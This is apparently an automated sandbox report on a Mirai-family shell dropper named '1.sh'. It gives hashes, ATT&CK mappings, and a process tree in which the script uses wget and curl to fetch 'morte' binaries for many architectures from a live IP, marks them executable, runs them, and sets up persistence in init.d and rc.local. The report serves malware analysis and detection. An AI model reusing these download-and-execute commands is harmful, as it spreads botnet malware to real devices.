Analysis
- max time kernel
148s - max time network
151s - platform
debian-9_mips - resource
debian9-mipsbe-20250619-en - resource tags
arch:mipsimage:debian9-mipsbe-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
22/08/2025, 01:52
Static task
static1
Behavioral task
behavioral1
Sample
1.sh
Resource
ubuntu1804-amd64-20250619-en
Behavioral task
behavioral2
Sample
1.sh
Resource
debian9-armhf-20250619-en
Behavioral task
behavioral3
Sample
1.sh
Resource
debian9-mipsbe-20250619-en
Behavioral task
behavioral4
Sample
1.sh
Resource
debian9-mipsel-20250619-en
General
- Target 1.sh
- Size 3KB
- Sample250822-cap2vaal41
- SHA256 3d2acd9571f1e62e42aaf6d34a320d96eb07a1d4b16cce9dc74885aeb0b03f4f
- MD5 95f205501f8ec39971ff13e2ba4db664
- SHA1 8f095ba8a86dfaa659454697e3dbfa30a35d2c41
- SHA512 6cd00f823d1c1b1a525a9caf7d63d46886c0303c13cd85fdb5f9089a19d995440735db7d14d4d774ad0de62b28c41d45a04f70aafef73ab1b1cfae6e24eb0ed9
- MD5 SHA1 SHA512
Malware Config
Signatures
- Mirai family
- File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 893 chmod 740 chmod 763 chmod 810 chmod 866 chmod 899 chmod 818 chmod 824 chmod 872 chmod 732 chmod 846 chmod 881 chmod 887 chmod 750 chmod 784 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/morte.x86 733 1.sh - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp morte.mips - Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for modification /etc/init.d/sysd morte.mips - Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
description ioc Process File opened for modification /etc/rc.local morte.mips - Reads process memory 1 TTPs 64 IoCs
Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.
description ioc Process File opened for reading /proc/72/maps morte.mips File opened for reading /proc/243/maps morte.mips File opened for reading /proc/332/maps morte.mips File opened for reading /proc/880/maps morte.mips File opened for reading /proc/15/maps morte.mips File opened for reading /proc/74/maps morte.mips File opened for reading /proc/80/maps morte.mips File opened for reading /proc/110/maps morte.mips File opened for reading /proc/337/maps morte.mips File opened for reading /proc/796/maps morte.mips File opened for reading /proc/3/maps morte.mips File opened for reading /proc/14/maps morte.mips File opened for reading /proc/817/maps morte.mips File opened for reading /proc/16/maps morte.mips File opened for reading /proc/70/maps morte.mips File opened for reading /proc/71/maps morte.mips File opened for reading /proc/76/maps morte.mips File opened for reading /proc/144/maps morte.mips File opened for reading /proc/339/maps morte.mips File opened for reading /proc/375/maps morte.mips File opened for reading /proc/340/maps morte.mips File opened for reading /proc/672/maps morte.mips File opened for reading /proc/702/maps morte.mips File opened for reading /proc/703/maps morte.mips File opened for reading /proc/809/maps morte.mips File opened for reading /proc/9/maps morte.mips File opened for reading /proc/17/maps morte.mips File opened for reading /proc/75/maps morte.mips File opened for reading /proc/77/maps morte.mips File opened for reading /proc/671/maps morte.mips File opened for reading /proc/701/maps morte.mips File opened for reading /proc/79/maps morte.mips File opened for reading /proc/21/maps morte.mips File opened for reading /proc/229/maps morte.mips File opened for reading /proc/6/maps morte.mips File opened for reading /proc/22/maps morte.mips File opened for reading /proc/23/maps morte.mips File opened for reading /proc/24/maps morte.mips File opened for reading /proc/117/maps morte.mips File opened for reading /proc/331/maps morte.mips File opened for reading /proc/5/maps morte.mips File opened for reading /proc/12/maps morte.mips File opened for reading /proc/13/maps morte.mips File opened for reading /proc/19/maps morte.mips File opened for reading /proc/37/maps morte.mips File opened for reading /proc/73/maps morte.mips File opened for reading /proc/152/maps morte.mips File opened for reading /proc/4/maps morte.mips File opened for reading /proc/374/maps morte.mips File opened for reading /proc/423/maps morte.mips File opened for reading /proc/666/maps morte.mips File opened for reading /proc/8/maps morte.mips File opened for reading /proc/10/maps morte.mips File opened for reading /proc/11/maps morte.mips File opened for reading /proc/81/maps morte.mips File opened for reading /proc/669/maps morte.mips File opened for reading /proc/695/maps morte.mips File opened for reading /proc/707/maps morte.mips File opened for reading /proc/711/maps morte.mips File opened for reading /proc/36/maps morte.mips File opened for reading /proc/171/maps morte.mips File opened for reading /proc/656/maps morte.mips File opened for reading /proc/731/maps morte.mips File opened for reading /proc/2/maps morte.mips -
resource yara_rule behavioral3/files/fstream-2.dat upx - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself systemd 744 morte.mips - Reads system network configuration 1 TTPs 2 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp morte.mips File opened for reading /proc/net/tcp6 morte.mips -
description ioc Process File opened for reading /proc/filesystems cp File opened for reading /proc/3/cmdline morte.mips File opened for reading /proc/671/fd morte.mips File opened for reading /proc/72/cmdline morte.mips File opened for reading /proc/375/comm morte.mips File opened for reading /proc/817/comm morte.mips File opened for reading /proc/711/cmdline morte.mips File opened for reading /proc/117/comm morte.mips File opened for reading /proc/374/comm morte.mips File opened for reading /proc/22/fd morte.mips File opened for reading /proc/118/fd morte.mips File opened for reading /proc/22/cmdline morte.mips File opened for reading /proc/340/cmdline morte.mips File opened for reading /proc/339/comm morte.mips File opened for reading /proc/14/fd morte.mips File opened for reading /proc/17/fd morte.mips File opened for reading /proc/331/fd morte.mips File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/20/cmdline morte.mips File opened for reading /proc/77/cmdline morte.mips File opened for reading /proc/701/cmdline morte.mips File opened for reading /proc/669/comm morte.mips File opened for reading /proc/77/fd morte.mips File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/744/fd/0 morte.mips File opened for reading /proc/13/cmdline morte.mips File opened for reading /proc/75/cmdline morte.mips File opened for reading /proc/5/comm morte.mips File opened for reading /proc/1/fd morte.mips File opened for reading /proc/337/fd morte.mips File opened for reading /proc/695/fd morte.mips File opened for reading /proc/332/cmdline morte.mips File opened for reading /proc/17/comm morte.mips File opened for reading /proc/5/fd morte.mips File opened for reading /proc/75/fd morte.mips File opened for reading /proc/374/cmdline morte.mips File opened for reading /proc/13/fd morte.mips File opened for reading /proc/74/fd morte.mips File opened for reading /proc/339/fd morte.mips File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/4/cmdline morte.mips File opened for reading /proc/73/cmdline morte.mips File opened for reading /proc/144/cmdline morte.mips File opened for reading /proc/18/comm morte.mips File opened for reading /proc/70/comm morte.mips File opened for reading /proc/110/fd morte.mips File opened for reading /proc/711/fd morte.mips File opened for reading /proc/5/cmdline morte.mips File opened for reading /proc/337/cmdline morte.mips File opened for reading /proc/229/comm morte.mips File opened for reading /proc/36/fd morte.mips File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/7/cmdline morte.mips File opened for reading /proc/11/cmdline morte.mips File opened for reading /proc/2/comm morte.mips File opened for reading /proc/22/comm morte.mips File opened for reading /proc/72/fd morte.mips File opened for reading /proc/21/comm morte.mips File opened for reading /proc/243/comm morte.mips File opened for reading /proc/666/fd morte.mips File opened for reading /proc/669/fd morte.mips File opened for reading /proc/23/cmdline morte.mips File opened for reading /proc/672/cmdline morte.mips - System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 737 wget 739 curl 741 morte.mips 743 rm 745 sh 747 cp - Writes file to tmp directory 30 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/morte.arm7 wget File opened for modification /tmp/morte.mips curl File opened for modification /tmp/morte.arc wget File opened for modification /tmp/morte.m68k curl File opened for modification /tmp/morte.ppc wget File opened for modification /tmp/morte.sh4 curl File opened for modification /tmp/morte.x86_64 wget File opened for modification /tmp/morte.ppc curl File opened for modification /tmp/morte.mpsl wget File opened for modification /tmp/morte.arm5 wget File opened for modification /tmp/morte.i686 curl File opened for modification /tmp/morte.x86_64 curl File opened for modification /tmp/morte.arm7 curl File opened for modification /tmp/morte.spc curl File opened for modification /tmp/busybox cp File opened for modification /tmp/morte.arc curl File opened for modification /tmp/morte.arm wget File opened for modification /tmp/morte.arm5 curl File opened for modification /tmp/morte.m68k wget File opened for modification /tmp/morte.sh4 wget File opened for modification /tmp/morte.x86 wget File opened for modification /tmp/morte.i468 curl File opened for modification /tmp/morte.arm6 wget File opened for modification /tmp/morte.arm6 curl File opened for modification /tmp/morte.spc wget File opened for modification /tmp/morte.x86 curl File opened for modification /tmp/morte.mips wget File opened for modification /tmp/morte.i686 wget File opened for modification /tmp/morte.mpsl curl File opened for modification /tmp/morte.arm curl
Processes
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/tmp/1.sh/tmp/1.sh1⤵
- Executes dropped EXE
PID:703 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Writes file to tmp directory
PID:706
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.x862⤵
- Writes file to tmp directory
PID:709
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.x862⤵
- Writes file to tmp directory
PID:723
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/bin/chmodchmod +x 1.sh busybox morte.x86 systemd-private-0b114f7adcfb401fb78e19b634c4c9a3-systemd-timedated.service-ygcIV92⤵
- File and Directory Permissions Modification
PID:732
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/tmp/morte.x86./morte.x86 morte.x862⤵PID:733
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/bin/rmrm -rf morte.x862⤵PID:736
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:737
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:739
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/bin/chmodchmod +x 1.sh busybox morte.mips systemd-private-0b114f7adcfb401fb78e19b634c4c9a3-systemd-timedated.service-ygcIV92⤵
- File and Directory Permissions Modification
PID:740
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/tmp/morte.mips./morte.mips morte.mips2⤵
- Enumerates active TCP sockets
- Modifies init.d
- Modifies rc script
- Reads process memory
- Changes its process name
- Reads system network configuration
- Reads runtime system information
- System Network Configuration Discovery
PID:741 -
/bin/shsh -c "cp ./morte.mips /usr/bin/.sh"3⤵
- System Network Configuration Discovery
PID:745 -
/bin/cpcp ./morte.mips /usr/bin/.sh4⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:747
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/bin/rmrm -rf morte.mips2⤵
- System Network Configuration Discovery
PID:743
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.arc2⤵
- Writes file to tmp directory
PID:746
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.arc2⤵
- Writes file to tmp directory
PID:749
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/bin/chmodchmod +x 1.sh busybox morte.arc systemd-private-0b114f7adcfb401fb78e19b634c4c9a3-systemd-timedated.service-ygcIV92⤵
- File and Directory Permissions Modification
PID:750
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/tmp/morte.arc./morte.arc morte.arc2⤵PID:751
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/bin/rmrm -rf morte.arc2⤵PID:753
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.i4682⤵PID:754
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.i4682⤵
- Reads runtime system information
- Writes file to tmp directory
PID:757
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/bin/chmodchmod +x 1.sh busybox morte.i468 systemd-private-0b114f7adcfb401fb78e19b634c4c9a3-systemd-timedated.service-ygcIV92⤵
- File and Directory Permissions Modification
PID:763
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/tmp/morte.i468./morte.i468 morte.i4682⤵PID:765
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/bin/rmrm -rf morte.i4682⤵PID:766
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.i6862⤵
- Writes file to tmp directory
PID:768
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.i6862⤵
- Writes file to tmp directory
PID:774
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/bin/chmodchmod +x 1.sh busybox morte.i686 systemd-private-0b114f7adcfb401fb78e19b634c4c9a3-systemd-timedated.service-ygcIV92⤵
- File and Directory Permissions Modification
PID:784
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/tmp/morte.i686./morte.i686 morte.i6862⤵PID:786
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/bin/rmrm -rf morte.i6862⤵PID:788
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.x86_642⤵
- Writes file to tmp directory
PID:790
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.x86_642⤵
- Writes file to tmp directory
PID:798
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/bin/chmodchmod +x 1.sh busybox morte.x86_64 systemd-private-0b114f7adcfb401fb78e19b634c4c9a3-systemd-timedated.service-ygcIV92⤵
- File and Directory Permissions Modification
PID:810
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/tmp/morte.x86_64./morte.x86_64 morte.x86_642⤵PID:811
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/bin/rmrm -rf morte.x86_642⤵PID:814
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.mpsl2⤵
- Writes file to tmp directory
PID:815
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:817
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/bin/chmodchmod +x 1.sh busybox morte.mpsl systemd-private-0b114f7adcfb401fb78e19b634c4c9a3-systemd-timedated.service-ygcIV92⤵
- File and Directory Permissions Modification
PID:818
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/tmp/morte.mpsl./morte.mpsl morte.mpsl2⤵PID:819
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/bin/rmrm -rf morte.mpsl2⤵PID:821
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.arm2⤵
- Writes file to tmp directory
PID:822
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:823
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/bin/chmodchmod +x 1.sh busybox morte.arm systemd-private-0b114f7adcfb401fb78e19b634c4c9a3-systemd-timedated.service-ygcIV92⤵
- File and Directory Permissions Modification
PID:824
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/tmp/morte.arm./morte.arm morte.arm2⤵PID:825
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/bin/rmrm -rf morte.arm2⤵PID:827
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.arm52⤵
- Writes file to tmp directory
PID:828
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.arm52⤵
- Writes file to tmp directory
PID:836
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/bin/chmodchmod +x 1.sh busybox morte.arm5 systemd-private-0b114f7adcfb401fb78e19b634c4c9a3-systemd-timedated.service-ygcIV92⤵
- File and Directory Permissions Modification
PID:846
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/tmp/morte.arm5./morte.arm5 morte.arm52⤵PID:847
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/bin/rmrm -rf morte.arm52⤵PID:851
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.arm62⤵
- Writes file to tmp directory
PID:852
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:858
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/bin/chmodchmod +x 1.sh busybox morte.arm6 systemd-private-0b114f7adcfb401fb78e19b634c4c9a3-systemd-timedated.service-ygcIV92⤵
- File and Directory Permissions Modification
PID:866
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/tmp/morte.arm6./morte.arm6 morte.arm62⤵PID:867
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/bin/rmrm -rf morte.arm62⤵PID:869
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.arm72⤵
- Writes file to tmp directory
PID:870
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:871
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/bin/chmodchmod +x 1.sh busybox morte.arm7 systemd-private-0b114f7adcfb401fb78e19b634c4c9a3-systemd-timedated.service-ygcIV92⤵
- File and Directory Permissions Modification
PID:872
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/tmp/morte.arm7./morte.arm7 morte.arm72⤵PID:876
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/bin/rmrm -rf morte.arm72⤵PID:878
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.ppc2⤵
- Writes file to tmp directory
PID:879
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.ppc2⤵
- Writes file to tmp directory
PID:880
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/bin/chmodchmod +x 1.sh busybox morte.ppc2⤵
- File and Directory Permissions Modification
PID:881
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/tmp/morte.ppc./morte.ppc morte.ppc2⤵PID:882
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/bin/rmrm -rf morte.ppc2⤵PID:884
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.spc2⤵
- Writes file to tmp directory
PID:885
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.spc2⤵
- Writes file to tmp directory
PID:886
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/bin/chmodchmod +x 1.sh busybox morte.spc2⤵
- File and Directory Permissions Modification
PID:887
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/tmp/morte.spc./morte.spc morte.spc2⤵PID:888
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/bin/rmrm -rf morte.spc2⤵PID:890
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.m68k2⤵
- Writes file to tmp directory
PID:891
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.m68k2⤵
- Writes file to tmp directory
PID:892
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/bin/chmodchmod +x 1.sh busybox morte.m68k2⤵
- File and Directory Permissions Modification
PID:893
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/tmp/morte.m68k./morte.m68k morte.m68k2⤵PID:894
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/bin/rmrm -rf morte.m68k2⤵PID:896
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/usr/bin/wgetwget http://196.251.73.215/00101010101001/morte.sh42⤵
- Writes file to tmp directory
PID:897
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/usr/bin/curlcurl -O http://196.251.73.215/00101010101001/morte.sh42⤵
- Writes file to tmp directory
PID:898
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/bin/chmodchmod +x 1.sh busybox morte.sh42⤵
- File and Directory Permissions Modification
PID:899
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/tmp/morte.sh4./morte.sh4 morte.sh42⤵PID:900
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/bin/rmrm -rf morte.sh42⤵PID:902
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
2RC Scripts
2Privilege Escalation
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
2RC Scripts
2Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/init.d/sysd
- Size 25B
- SHA256 ba1d50d125344f273c249426ccd744d5a12e560ace41cca4bc55bd2d4a718d8f
- MD5 997cb34ff6e6cded70b841c0d16c0938
- SHA1 cc85c16e2fb441d86aa668f376ca7fb4b181f1ab
- SHA512 1e775ca8513f2841b6a8e369071b28c48489ab6462d06525f9b6b2bf97e9c043562bd7e0217307ed64a95217a76a94a08189616831c9d3127c6b91b7544570c8
- MD5 SHA1 SHA512
- Path /tmp/busybox
- Size 857KB
- SHA256 3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38
- MD5 a39fe8036e559ce804e26518061e59ff
- SHA1 8df27f6e8a48b762d945ea2f2b87390c80acd4de
- SHA512 e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d
- SSDEEP 24576:pr1OolvjQkUQbkX5gLLatgVMmFSO4XS9PBdi:pZOolbQ4kXILatgfKS9PBE
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/morte.x86
- Size 37KB
- SHA256 e8099bae8e84278b060f8651d0f601d2e3de08797024a0a13dba0138b3095b43
- MD5 35bfb5c8eaa6f132e5292781fe68cea5
- SHA1 d7d6b66da4086a0056f6ed01f7d24845f70dda74
- SHA512 0c3df06c13e9bac432702a6222ac956956fcb7563f36986532bb1d7e6217fd60e8589fdefbffe59f3f2179125cd1d53f55f91f85b7ac5fd6d79c2ec8bbec8ae9
- SSDEEP 768:7T28N9k6ot4DJrZXHqQVnXwfuY6OxUi3oQRNDfRbal+oaNVnbcuyD7UHQRjg:P28N9ytuZXHqQVngx6Of7RNDZbZNVnow
- MD5 SHA1 SHA512 SSDEEP